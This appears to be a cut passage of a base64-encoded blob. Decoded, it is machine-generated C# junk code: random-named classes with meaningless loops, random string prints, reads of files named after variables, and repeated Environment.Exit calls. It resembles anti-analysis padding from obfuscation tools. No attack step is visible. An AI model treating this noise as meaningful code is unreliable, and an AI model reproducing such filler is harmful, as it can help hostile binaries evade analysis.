dqbWd5TUQgPSA0ODAzMDMxNDA2Njg5MzUxMDsgCnNieXRlIGhrdlRQblROID0gIC0xMDE7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIENPd0x1SENRKCl7DQppbnQgclROeEViS2sgPSAyNjA0OTcyODQ7IAp3aGlsZShyVE54RWJLayA9PSAyNjA0OTcyODQpew0KclROeEViS2sgPSByVE54RWJLayArIDYyMTcwMTsNCn1zYnl0ZSBEbnF5dmtpQSA9ICAtMTIxOyAKIENvbnNvbGUuUmVhZExpbmUoKTt1c2hvcnQgaEpqS2NiSXMgPSA0Mjk2ODsgCnNob3J0IEtJYnV2UkRUID0gLTI0NzcyOyAKIGJ5dGVbXSBLSWJ1dlJEVEtJYnV2UkRUID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJLSWJ1dlJEVCIpO2RvdWJsZSBnc0x2Wk94cyA9IC0xLjMxMDEzNkUtMjc7IApnc0x2Wk94cyA9IE1hdGguUG93KGRvdWJsZS5OZWdhdGl2ZUluZmluaXR5LCAyKTsNCnRyeXsNCmludCB3blpibkRlQ1NURWpwWVNhcmVVZENpR0YgPSA4MzkwMDQ2Ow0KaWYod25aYm5EZUNTVEVqcFlTYXJlVWRDaUdGID09IDYxNzEwKXsNCnduWmJuRGVDU1RFanBZU2FyZVVkQ2lHRisrOw0KfWVsc2V7DQp3blpibkRlQ1NURWpwWVNhcmVVZENpR0YtLTsNCkNvbnNvbGUuV3JpdGUod25aYm5EZUNTVEVqcFlTYXJlVWRDaUdGLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn11bG9uZyByYnpLTWxNYSA9IDgzOTk4NjY4MjA0ODA3NjExOyAKc2hvcnQgaUpRSGZ1R1IgPSAxNTA4NDsgCiBieXRlW10gaUpRSGZ1R1JpSlFIZnVHUiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiaUpRSGZ1R1IiKTtieXRlIEdIbFl2Zm14ID0gIDIyODsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIElobGRQSmViKCl7DQp1c2hvcnQgWkNnZXRqTm0gPSAxODcyMzsgCnVsb25nIHhqY0hOdkt6ID0gMTUxMzc5MTQ4NjQ1NjYwNjQ7IApieXRlIHNkd3NTRUZHID0gIDE3NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3N0cmluZyBRZlpEdWZxQyA9ICJyQ0tRYk9PdiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUWZaRHVmcUMpO2RvdWJsZSB2ZWpGWlBqciA9IC0xNC4xMDMxMjsgCmlmKHZlakZaUGpyID09IDEuODAzMjg1RSsxOCl7DQpkb3VibGUgeVZRSHREVEl6b0lFViA9IC0zLjE2MzgxOUUtMjU7DQp2ZWpGWlBqciA9IE1hdGguUm91bmQoeVZRSHREVEl6b0lFVik7DQpvYmplY3QgdmJlSUtmUnRLUlpBUEx1SlV6SG9qVjsNCnZiZUlLZlJ0S1JaQVBMdUpVekhvalYgPSAtMS42NTUyMTZFKzM3Ow0KfXVsb25nIExzZVV4alNoID0gNzU3NzI4MTgxNjA0MjAyODI7IApzaG9ydCBsUWhlQkdQYSA9IC00NzU3OyAKIGJ5dGVbXSBsUWhlQkdQYWxRaGVCR1BhID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJsUWhlQkdQYSIpO2xvbmcgYkRWRU1GZlAgPSA3MDkzMDgzMzkzMzA4MzY3MDsgCg0KfXB1YmxpYyB2b2lkIEhyTlNIakxDKCl7DQp1aW50IHdBeVRCUk1FID0gNjE0NDAzOyAKdXNob3J0IERmR214blJ3ID0gMjYyMDQ7IApkb3VibGUgUnBIZmZrdkYgPSAtMS4yMTA0OTZFLTIxOyAKUnBIZmZrdkYgPSBNYXRoLkNlaWxpbmcoTWF0aC5Bc2luKDAuMikpOw0Kc3RyaW5nIHhMem1MUmd6ID0gIm5vc2F2UWJ2IjsgCiBDb25zb2xlLldyaXRlTGluZSh4THptTFJneik7ZG91YmxlIHRManFNbkl1ID0gLTEuNjgyNTA5RSsxNTsgCndoaWxlKHRManFNbkl1ID09IC0xLjg2NzI1NkUrMjgpew0KdExqcU1uSXUgPSBNYXRoLkNlaWxpbmcoTWF0aC5Bc2luKDAuMikpOw0KdHJ5ew0KDQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfQ0KfWZsb2F0IG9iaFdEaEF2ID0gMS43MDExNjFFLTMzRjsgCmZsb2F0IFJNYmt3TFVrID0gOS41MDM0MTlFKzI4RjsgCmxvbmcga09vS21tUk4gPSAxNzg3NTcxODM0ODMwODQ4OTsgCg0KfXB1YmxpYyB2b2lkIHRwR01oR2prKCl7DQp1aW50IEFjVkdlWm1iID0gNjg1MjgxODU7IAp1c2hvcnQgQ0ZHYU5mZEogPSA0MDA7IApzdHJpbmcgZ29Md3dDY08gPSAidFdueEVxVnIiOyAKIENvbnNvbGUuV3JpdGVMaW5lKGdvTHd3Q2NPKTtsb25nIERpTWtzbEVRID0gNjkxNDYzMzcyNTA3NjI5MDI7IAp1c2hvcnQgR1VQcXNxc1MgPSA0NTg4OTsgCnVsb25nIGdmRlNNZ0NoID0gMTcxNTk4NjA0Njk2NTIyMzA7IAp1aW50IHlNVVlGZ0lBID0gMjA1NjgwNjQ1OyAKbG9uZyBjeUVJeEROTCA9IDkzNDMxODAzMTcxOTY4Njk7IAoNCn1wdWJsaWMgdm9pZCBycGNnaVJ3RCgpew0KZmxvYXQgaUxOeERnc2YgPSAtMy42NTQ0MzVFKzExRjsgCnN0cmluZyB3UFN2cEp3ZyA9ICJtUnZ6U2xHeSI7IAogQ29uc29sZS5Xcml0ZUxpbmUod1BTdnBKd2cpO2ludCBJSkxVZ2dtaSA9IDQ1MjM3NjQwMTsgCndoaWxlKElKTFVnZ21pID09IDQ1MjM3NjQwMSl7DQpJSkxVZ2dtaSA9IDExOTc2OTsNCn11aW50IHlCR1hrQnJuID0gNjA1MzsgCmRvdWJsZSBpZG5LRVVlUiA9IC0xLjE5NTE2MUUrMzQ7IAp3aGlsZShpZG5LRVVlUiA9PSAtMi44MDE2ODhFKzIyKXsNCmRvdWJsZSB5aEx4UFFGTXNSID0gMTMuNjA2NzsNCmlkbktFVWVSID0gTWF0aC5Sb3VuZCh5aEx4UFFGTXNSICwxLE1pZHBvaW50Um91bmRpbmcuVG9FdmVuKTsNCkNvbnNvbGUuUmVhZEtleSgpOw0KfWJ5dGUgZXRJVHNJb3UgPSAgMTUzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c3RyaW5nIEpCZW9BbFhKID0gInhWWXJSSk1zIjsgCiBDb25zb2xlLldyaXRlTGluZShKQmVvQWxYSik7dXNob3J0IGRjTUVwTFhsID0gMjM5NTsgCg0KfXB1YmxpYyB2b2lkIGRhSnRWRmlwKCl7DQpzdHJpbmcgeFJ0c3dGZmsgPSAiQWpGTU9XU2IiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHhSdHN3RmZrKTtkb3VibGUgT2hoVFRzb3IgPSA1LjAyMDI3N0UrMTQ7IAppZihPaGhUVHNvciA9PSAtMi40OTAxOTFFLTE4KXsNCmRvdWJsZSBZR01melFRa2ZlbG9CID0gNTguMjM2MTE7DQpDb25zb2xlLldyaXRlKE9oaFRUc29yLlRvU3RyaW5nKCkpOw0KfXVzaG9ydCBMWVhnaW9aUCA9IDE2NDkzOyAKdXNob3J0IEZvcHNQR254ID0gMjU2OyAKZG91YmxlIE1tdFhkTFRTID0gMzE1NTUxNDsgCndoaWxlKE1tdFhkTFRTID09IC0zLjIxMzQ0NkUtMzEpew0KTW10WGRMVFMgPSBNYXRoLlBvdygyLCAyLjEpOw0KIGJvb2w/IHFyRmdwbW9EVGt0enl6V3d1cktlaCA9IG5ldyBib29sPygpOw0KcXJGZ3Btb0RUa3R6eXpXd3VyS2VoID0gdHJ1ZTsNCn1sb25nIGFWSmV0a0FRID0gNDc5Nzg2MjkxMzkyMjg2NDc7IApsb25nIGt2TUN5em5mID0gNzI1NzM1MzkxNzM4MDY5ODY7IApzaG9ydCBleWRPd1ZncCA9IC0yMjA4NTsgCiBieXRlW10gZXlkT3dWZ3BleWRPd1ZncCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZXlkT3dWZ3AiKTsNCn0KfSBwdWJsaWMgY2xhc3MgQVRZUFpZcGJ7cHVibGljIHZvaWQgVkhZWXFXY1goKXsNCnNob3J0IElBVWZPT0xBID0gMjk3NDM7IAogYnl0ZVtdIElBVWZPT0xBSUFVZk9PTEEgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIklBVWZPT0xBIik7c3RyaW5nIGxrT0NpaHl2ID0gImpLUFNsaUZGIjsgCiBDb25zb2xlLldyaXRlTGluZShsa09DaWh5dik7dXNob3J0IGVEdk1NRlhUID0gNDY3Njc7IApsb25nIGRZQUNHRW5WID0gNzU4MDk4OTI2OTE0NjY1OTE7IAp1bG9uZyBPWGNnanRXRyA9IDg5MTcwNzk0NzI5NzE4NDYwOyAKYnl0ZSBISGdnY3RjcyA9ICAyMzY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgT1V2Z3VGb3EgPSAzNzI2NTsgCnVpbnQgc3hQYUdlTWMgPSA5NDcxOyAKDQp9cHVibGljIHZvaWQgTlNTeHZNd3QoKXsNCnNob3J0IHpnSVBoU3lJID0gLTE5NjA2OyAKIGJ5dGVbXSB6Z0lQaFN5SXpnSVBoU3lJID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ6Z0lQaFN5SSIpO2Zsb2F0IHBjZXh0YVZEID0gLTMuMDUxNTk2RSszMEY7IAp1c2hvcnQgQVFiWWhYZEYgPSAzMDMyMTsgCnNob3J0IGRqb2dEYU5hID0gLTEwODUzOyAKIGJ5dGVbXSBkam9nRGFOYWRqb2dEYU5hID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJkam9nRGFOYSIpO3N0cmluZyB4UGdRbkFXViA9ICJ1QklqV3BPbyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoeFBnUW5BV1YpO2J5dGUgTmJJY3ZEU2UgPSAgNjE7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtieXRlIG9xZWpyY0Z2ID0gIDIzNzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Nob3J0IGdVbVJWUGZWID0gLTk1NzsgCiBieXRlW10gZ1VtUlZQZlZnVW1SVlBmViA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZ1VtUlZQZlYiKTsNCn1wdWJsaWMgdm9pZCBEd09TY1RUdygpew0Kc2hvcnQgYW1tT01uc1QgPSAtMzM0NzsgCiBieXRlW10gYW1tT01uc1RhbW1PTW5zVCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiYW1tT01uc1QiKTtzdHJpbmcgb3NQTE9HWkIgPSAiREZQYVl2SGUiOyAKIENvbnNvbGUuV3JpdGVMaW5lKG9zUExPR1pCKTtzdHJpbmcgek1waWhWTEEgPSAiVUZDTHZmbGciOyAKIENvbnNvbGUuV3JpdGVMaW5lKHpNcGloVkxBKTtieXRlIExJdFZsZURBID0gIDIxNzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIG5IcGR2T2ZqID0gIC0xMDU7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBISnJqWHB5WCA9IC0xLjA0MDYxMkUrMjg7IApkb3VibGUgSkt1VkFsS2h5S1Vtc01FcHZPWUJnID0gLTkuNjM1NDQ5RS0xMjsNCnNieXRlIHJ3S3ZTd1JYID0gIC0xMDg7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBsaW1UenFQTSA9IDEuNTA1MzcxRSsyMDsgCndoaWxlKGxpbVR6cVBNID09IC0zLjE1Nzc5OUUrMDcpew0KbGltVHpxUE0gPSBNYXRoLkNlaWxpbmcoTWF0aC5BY29zKDApKTsNCm9iamVjdCBncGFMTk15Q3NLVExOalJUcDsNCmdwYUxOTXlDc0tUTE5qUlRwID0gNS43ODEyNjVFLTMyOw0KfQ0KfXB1YmxpYyB2b2lkIG9Rd2ZLU3JqKCl7DQpzdHJpbmcgdnhZaGRHZ3kgPSAiVWNnTHlJRWoiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHZ4WWhkR2d5KTt1bG9uZyBnZWlXeml6eCA9IDU5NTI1ODA5Njk1MTc3NTY7IAp1bG9uZyBsbkRTT1JubyA9IDgxMjMzMjQxNzg3MDIzMDU3OyAKc3RyaW5nIEhyU2xPbHBWID0gImtVY0JXSG1YIjsgCiBDb25zb2xlLldyaXRlTGluZShIclNsT2xwVik7dWludCBSUGVOc3drZSA9IDg3NzE5MTsgCnVsb25nIEFsR3JJWVFiID0gNDY1NjkwNTA4Njg2NDczODY7IApieXRlIHp5RE5EQVdjID0gIDEyOTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgT3FHemlVYk0gPSAgMjIxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7DQp9cHVibGljIHZvaWQgQkxrTXFzRUQoKXsNCmRvdWJsZSBHQkZETklSSyA9IDguNTEyODI2RS0zNTsgCndoaWxlKEdCRkROSVJLID09IDQuODAyMDE1RS0wNyl7DQpHQkZETklSSyA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbigxKSk7DQp0cnl7DQppbnQgc3B1Qk5UbVJFTHFSY0tkZ3ZobSA9IDIxMzAzMjg7DQppZihzcHVCTlRtUkVMcVJjS2RndmhtID09IDQ3NTE0KXsNCnNwdUJOVG1SRUxxUmNLZGd2aG0rKzsNCn1lbHNlew0Kc3B1Qk5UbVJFTHFSY0tkZ3ZobS0tOw0KQ29uc29sZS5Xcml0ZShzcHVCTlRtUkVMcVJjS2RndmhtLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1zYnl0ZSBiQlNRY2RrTyA9ICAtMTA1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCBWT2lrS0dQciA9IC0xLjA3NDI5OEUtMjFGOyAKc2J5dGUgZVhjb1J4TXggPSAgLTEwMzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWxvbmcgY0RVQ0hxR0ggPSAzNTg2MDg1NzcyNDg1NDI2OyAKc2hvcnQgVUpVWHprbW0gPSAtMTkwNzQ7IAogYnl0ZVtdIFVKVVh6a21tVUpVWHprbW0gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlVKVVh6a21tIik7c2J5dGUgVWxySndGY04gPSAgMTE2OyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCBHWlNnaVBiSCA9IC0xLjI2OTIzOUUtMDZGOyAKDQp9cHVibGljIHZvaWQgYUJiYmdmdUUoKXsNCnN0cmluZyBRZlFXUndwTSA9ICJ6bEFIWnZCYSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUWZRV1J3cE0pO2Zsb2F0IEZoWWRMekxaID0gMS4xNTQwNDZFLTM3RjsgCmxvbmcgSWtlQ3lDdW8gPSA1MTM3OTAyMTM0MDg1NjA0MTsgCnVsb25nIE1ReGtYT1ByID0gODEzMTA4NDg2OTMxNjU0ODU7IApzaG9ydCBiQXBnRHJkVCA9IC05MDE2OyAKIGJ5dGVbXSBiQXBnRHJkVGJBcGdEcmRUID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJiQXBnRHJkVCIpO2Zsb2F0IG1tTmtUU1JYID0gLTAuNjg5OTE3N0Y7IApsb25nIG9nVXlBaVRBID0gMjMxMzU1NDA0OTIzODc3OTc7IApkb3VibGUgcHRiVUxFU3QgPSAxLjI4MTY2MUUtMjE7IAp3aGlsZShwdGJVTEVTdCA9PSA5LjMzNzA0OUUrMjcpew0KcHRiVUxFU3QgPSBNYXRoLlBvdyhkb3VibGUuTmVnYXRpdmVJbmZpbml0eSwgMik7DQpvYmplY3Qgc21KWVJ2TVl3Umk7DQpzbUpZUnZNWXdSaSA9IC0xLjc1MDAyOEUrMjk7DQp9DQp9cHVibGljIHZvaWQgU0xrRmtBU20oKXsNCmRvdWJsZSB5dWRVc2hDRyA9IDQuNDU5NDA1RS0wNjsgCmRvdWJsZSBTUWZaTVZQbnR4dE9jemdlbmVuT2VEID0gLTQuMDYyOTExRSsyMTsNCnl1ZFVzaENHID0gU1FmWk1WUG50eHRPY3pnZW5lbk9lRCAvIDM7DQpsb25nIElaWXZ3UUprID0gODA3MjcxNDc3MzY4OTU2MTg7IApzaG9ydCBPZHVwRXZueSA9IDgyODI7IAogYnl0ZVtdIE9kdXBFdm55T2R1cEV2bnkgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIk9kdXBFdm55Iik7dXNob3J0IEVIRGxpa2RmID0gNDY1NTg7IApsb25nIGdSbXpjS2hnID0gNTA4MTQ3MTMzODI2NDE4MDA7IApkb3VibGUgQ2xDeGFpSGggPSAtMS40OTI1MDJFLTE2OyAKd2hpbGUoQ2xDeGFpSGggPT0gLTQuODM4OTMyRS0wOSl7DQpDbEN4YWlIaCA9IE1hdGguUG93KGRvdWJsZS5NaW5WYWx1ZSwgZG91YmxlLk1heFZhbHVlKTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1sb25nIEFJZkpQRnpNID0gNDk1MjI1MjUyOTIwMzYwOTE7IApsb25nIElVWnBZbVllID0gNjEzNTExOTA3OTUwMjM0NzY7IAoNCn1wdWJsaWMgdm9pZCBqYmVMQkVERygpew0Kc3RyaW5nIHJGRXJ3bHpKID0gIkJPVE9VdXJFIjsgCiBDb25zb2xlLldyaXRlTGluZShyRkVyd2x6Sik7dWludCBDcVVYaURsSiA9IDE5OyAKdXNob3J0IExpYnRBTWJaID0gNTc3NDsgCnNieXRlIHZCRE9FTmtQID0gIC0yMDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSBNQ3VzaHNQdSA9ICAxNDQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIGt6T3Z5b0ZHID0gODU3NjU5MzQ2Mjg1Njg3MTQ7IApzYnl0ZSBiZkNpR25NSSA9ICAtMTI1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtieXRlIGxlSlNzY1R3ID0gIDEwOTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfQp9IHB1YmxpYyBjbGFzcyBqZk9GU0NFRntwdWJsaWMgdm9pZCBCeHlkU3Z4YSgpew0KbG9uZyBQSUZTUkh6QiA9IDMzNjEwMTE4MDA2MTU1Mzg4OyAKaW50IHZER0NCQVNOID0gMzk0OTc3Njc4OyAKd2hpbGUodkRHQ0JBU04gPT0gMzk0OTc3Njc4KXsNCnZER0NCQVNOICs9IDQ5NzEzODsNCn11c2hvcnQgY05RY2xic2UgPSAzOTk1NzsgCnVzaG9ydCBsTE5HUmVxaSA9IDM0MzI7IApzaG9ydCBqVWd6ZmlYaSA9IDI1MDk1OyAKIGJ5dGVbXSBqVWd6ZmlYaWpVZ3pmaVhpID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJqVWd6ZmlYaSIpO3NieXRlIFZIVkpHZURhID0gIDkwOyAKIENvbnNvbGUuUmVhZExpbmUoKTt1bG9uZyBlY1JFb2ZSRSA9IDI0Nzg5MzY3Njc2MTUzNjc3OyAKbG9uZyBsbFpVbFZmQSA9IDgyNTkwNDcyMzk0NTM1MTgwOyAKDQp9cHVibGljIHZvaWQgZHJRUmJwcUMoKXsNCmZsb2F0IEVTekVCTUFwID0gNS4wMzcxNjNFKzI0RjsgCmJ5dGUgTU5TSW5lc3cgPSAgMzM7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IFVxbXpBZ2F3ID0gNzEwNzg7IApsb25nIHV0aGROdmpqID0gNjczMDY3MjI3MDc1NjU5Nzk7IApzaG9ydCBmRlVKa3NjSiA9IC03Mzk4OyAKIGJ5dGVbXSBmRlVKa3NjSmZGVUprc2NKID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJmRlVKa3NjSiIpO2xvbmcgVmZ5YU1McFggPSA3ODIzNjUzNTYyMDQxMjE2NjsgCmZsb2F0IGhFV1lxQkZsID0gLTYuMzM1NDEyRS0yN0Y7IApzaG9ydCBrUHlDcXpjRiA9IC0xNjIzODsgCiBieXRlW10ga1B5Q3F6Y0ZrUHlDcXpjRiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygia1B5Q3F6Y0YiKTsNCn1wdWJsaWMgdm9pZCBIVW9qVmlFaCgpew0Kc3RyaW5nIFpIQ2dFeWZZID0gInBnUWppS0V3IjsgCiBDb25zb2xlLldyaXRlTGluZShaSENnRXlmWSk7Ynl0ZSBJc1lPVUFwciA9ICAxNzU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IEZxVHFKd1NYID0gODM7IAp1aW50IG5HQUx1VUZvID0gNTU7IApieXRlIHpGdHNkcGFBID0gIDM1OyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBtVW9nTmFFSyA9IDU0MzQyNjMwMjU5MzU5NzA7IApzYnl0ZSBtaWxBQVBLZyA9ICA0MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IHJhamR6dm1FID0gMzIxODUyOyAKd2hpbGUocmFqZHp2bUUgPT0gMzIxODUyKXsNCnJhamR6dm1FID0gNDc4MjUyOw0KfQ0KfXB1YmxpYyB2b2lkIFBPdnVUZ2ZrKCl7DQppbnQgckNvVHpzTXogPSA5NDc3NjQ0MTsgCndoaWxlKHJDb1R6c016ID09IDk0Nzc2NDQxKXsNCnJDb1R6c016ID0gckNvVHpzTXogKyA5NTE3OTY7DQp9c2hvcnQga3RvbmpySGUgPSAtMjg0ODA7IAogYnl0ZVtdIGt0b25qckhla3RvbmpySGUgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImt0b25qckhlIik7c3RyaW5nIGhGcFRzRmdwID0gImR3TUhMRUhLIjsgCiBDb25zb2xlLldyaXRlTGluZShoRnBUc0ZncCk7dWxvbmcgZ0ZjcGVsdkwgPSA0MTM5NzkyNzI2MjY1MTM0MDsgCnVzaG9ydCBNSGtKY2RMZyA9IDI3NTY4OyAKZmxvYXQgZ0t6R3hrRWsgPSAtMi4zODU4NDRFKzA4RjsgCmxvbmcgTlJaRXFFeUggPSA0MjUwOTM3ODMyNzg5OTg5ODsgCnVsb25nIGlNVUtST25lID0gNTQ5MjE4ODYzOTg2MDk2NzU7IAoNCn1wdWJsaWMgdm9pZCBsQlJLVml5cCgpew0KZmxvYXQgaHRxbGh3dG4gPSAtMS4yMjUwNTlFKzE2RjsgCnVsb25nIGV5aGNza2ljID0gNzI4MjkzNDA0NjU5NTE3MTY7IAp1c2hvcnQgYmNXWmlwbEkgPSA2MzkyOTsgCnVpbnQgVElLU0doc0UgPSA3MjQ3NzAwOTsgCnVsb25nIG1TaE9YaGVVID0gNDQxNTI4MTc4ODU4NDEwMTc7IApzdHJpbmcgaXJpamR3V08gPSAiUW9ySnNyU24iOyAKIENvbnNvbGUuV3JpdGVMaW5lKGlyaWpkd1dPKTt1bG9uZyBFWmRaUGd5ZSA9IDMzMzk4OTE1NTIwNTUzMTg4OyAKbG9uZyB1d3JFeWVRbSA9IDU4NzQyMTY5MzI0NzIyMTYzOyAKDQp9cHVibGljIHZvaWQgc2Z6ZlJ2Q2MoKXsNCnNieXRlIGdYZ2xaRWJJID0gIDI1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCBNQ2l1UXRQbCA9IC0yNTc2OyAKIGJ5dGVbXSBNQ2l1UXRQbE1DaXVRdFBsID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJNQ2l1UXRQbCIpO2xvbmcgb2JUa09CQ0EgPSAyNTc2MTUzODE0MTY1OTc0MDsgCmZsb2F0IHBQQkthbUFTID0gNC40MjA4NTVFLTM1RjsgCnVsb25nIENXVkJ4TE1TID0gMTc2MTA1MzY4ODg1NTY1MTE7IApzYnl0ZSBXTWZnY3VZTyA9ICAtNjk7IAogQ29uc29sZS5SZWFkTGluZSgpO2ludCBMd21PRWtNVyA9IDQwOyAKaWYoTHdtT0VrTVcgPT0gMjQxMTMpew0KTHdtT0VrTVcgPSA5NTcyOTM7DQp9Ynl0ZSBkVUtvTVloTiA9ICAzOTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIGZaY2RPdHVCKCl7DQpieXRlIGhxRGdLQmxVID0gIDIxNDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBnRHZ1bWxqZiA9IC0xLjM2NzE3NUUtMjM7IAp3aGlsZShnRHZ1bWxqZiA9PSAxLjY4NjU0NUUtMDkpew0KZG91YmxlIEtMVGtlTVFsb0tuaU8gPSBNYXRoLklFRUVSZW1haW5kZXIoMywgNCk7DQpnRHZ1bWxqZiA9IEtMVGtlTVFsb0tuaU87DQpDb25zb2xlLldyaXRlKGdEdnVtbGpmLlRvU3RyaW5nKCkpOw0KfWRvdWJsZSBacmZYWGZacyA9IC0zLjU3NjU1MkUtMjU7IAppZihacmZYWGZacyA9PSAtMi4wMjIwNjFFLTEwKXsNClpyZlhYZlpzID0gTWF0aC5DZWlsaW5nKE1hdGguQXRhbigtNSkpOw0KIGJvb2w/IHRtY1VJckJ6ID0gbmV3IGJvb2w/KCk7DQp0bWNVSXJCeiA9IHRydWU7DQp9Ynl0ZSBiQU9oUFR1UCA9ICA3NDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2ludCBpRGhxaVBsYiA9IDc3NjQzNDsgCmlmKGlEaHFpUGxiID09IDM4MjExOCl7DQppRGhxaVBsYiA9IDE4ODMxNTsNCn11bG9uZyBXTExYSkpMcyA9IDQwODI3MzM4MzE5MDI0MjkxOyAKdXNob3J0IFloalhrTkJFID0gMjk3MjA7IAp1aW50IGlNaExxblVqID0gOTA3MjIwOTg2OyAKDQp9cHVibGljIHZvaWQgY2t5SExJb3goKXsNCmludCBtTktUVFR4ZSA9IDYxOyAKd2hpbGUobU5LVFRUeGUgPT0gNjEpew0KbU5LVFRUeGUgKz0gMTI3NTMxOw0KfXNob3J0IHdETG1NeEljID0gMTA0OTg7IAogYnl0ZVtdIHdETG1NeEljd0RMbU14SWMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIndETG1NeEljIik7dXNob3J0IFFTY3hoZnVlID0gNDAzMjA7IApkb3VibGUgcm5ST0R4bU8gPSAtMy41MDE4MjhFLTA3OyAKaWYocm5ST0R4bU8gPT0gLTUuMTUzNzQ5RS0yMCl7DQpyblJPRHhtTyA9IE1hdGguUG93KGRvdWJsZS5NaW5WYWx1ZSwgZG91YmxlLk1heFZhbHVlKTsNCg0KfWZsb2F0IEFnTkNiT0l5ID0gOS41NTAwNjlFLTEyRjsgCnNieXRlIHdiQ2x3QWZvID0gIDc1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgaW9HbW1VRkYgPSA5LjMzMjUzNkUtMzg7IAppb0dtbVVGRiA9IE1hdGguRXhwKDIpOw0KaW50PyB4QXRKakpWV0luYVZwS1Z3UHpWb0FWc0NlZGQgPSAyMjE5MzM5Ow0KeEF0SmpKVldJbmFWcEtWd1B6Vm9BVnNDZWRkICs9IDEzODI5O3N0cmluZyBqUVFOdG5LZSA9ICJ0Z3ZKZ3lUSyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoalFRTnRuS2UpOw0KfQp9IHB1YmxpYyBjbGFzcyBKY25HZWd1eXtwdWJsaWMgdm9pZCByTFp0UVFrQSgpew0Kc2hvcnQgelFPeUxNaGMgPSAyNjg4NDsgCiBieXRlW10gelFPeUxNaGN6UU95TE1oYyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygielFPeUxNaGMiKTtzYnl0ZSBLU3F4c0FNZSA9ICAxMDc7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIGtPS3VrY0JDID0gMzkwNDQ3MzY5MTIyNjU0NjQ7IApmbG9hdCBuTEFBSHB2dCA9IDQuMzM4NzNFLTM1RjsgCmJ5dGUgRVVOcVJrRGQgPSAgMjI4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIHBLcktWcGh5ID0gNS41MzI0OTJFLTE0OyAKd2hpbGUocEtyS1ZwaHkgPT0gLTIuNzkyNDA3RS0zMil7DQpwS3JLVnBoeSA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQoNCn1ieXRlIFJUb3RzamZlID0gIDExOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgQ1VjWFhyaEUgPSAxNzk4ODMwNDYzOTM0MDQzMDsgCg0KfXB1YmxpYyB2b2lkIGtreWZSeHJDKCl7DQpzYnl0ZSB0allBck55VyA9ICAxMTE7IAogQ29uc29sZS5SZWFkTGluZSgpO2J5dGUgRkVqRXpTVXkgPSAgMTUyOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgclJEVGpob3cgPSAgNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgeHdFeGhqZFcgPSAwLjAwNzgwNjcwMUY7IAp1aW50IHRQdkxkeUlVID0gODg4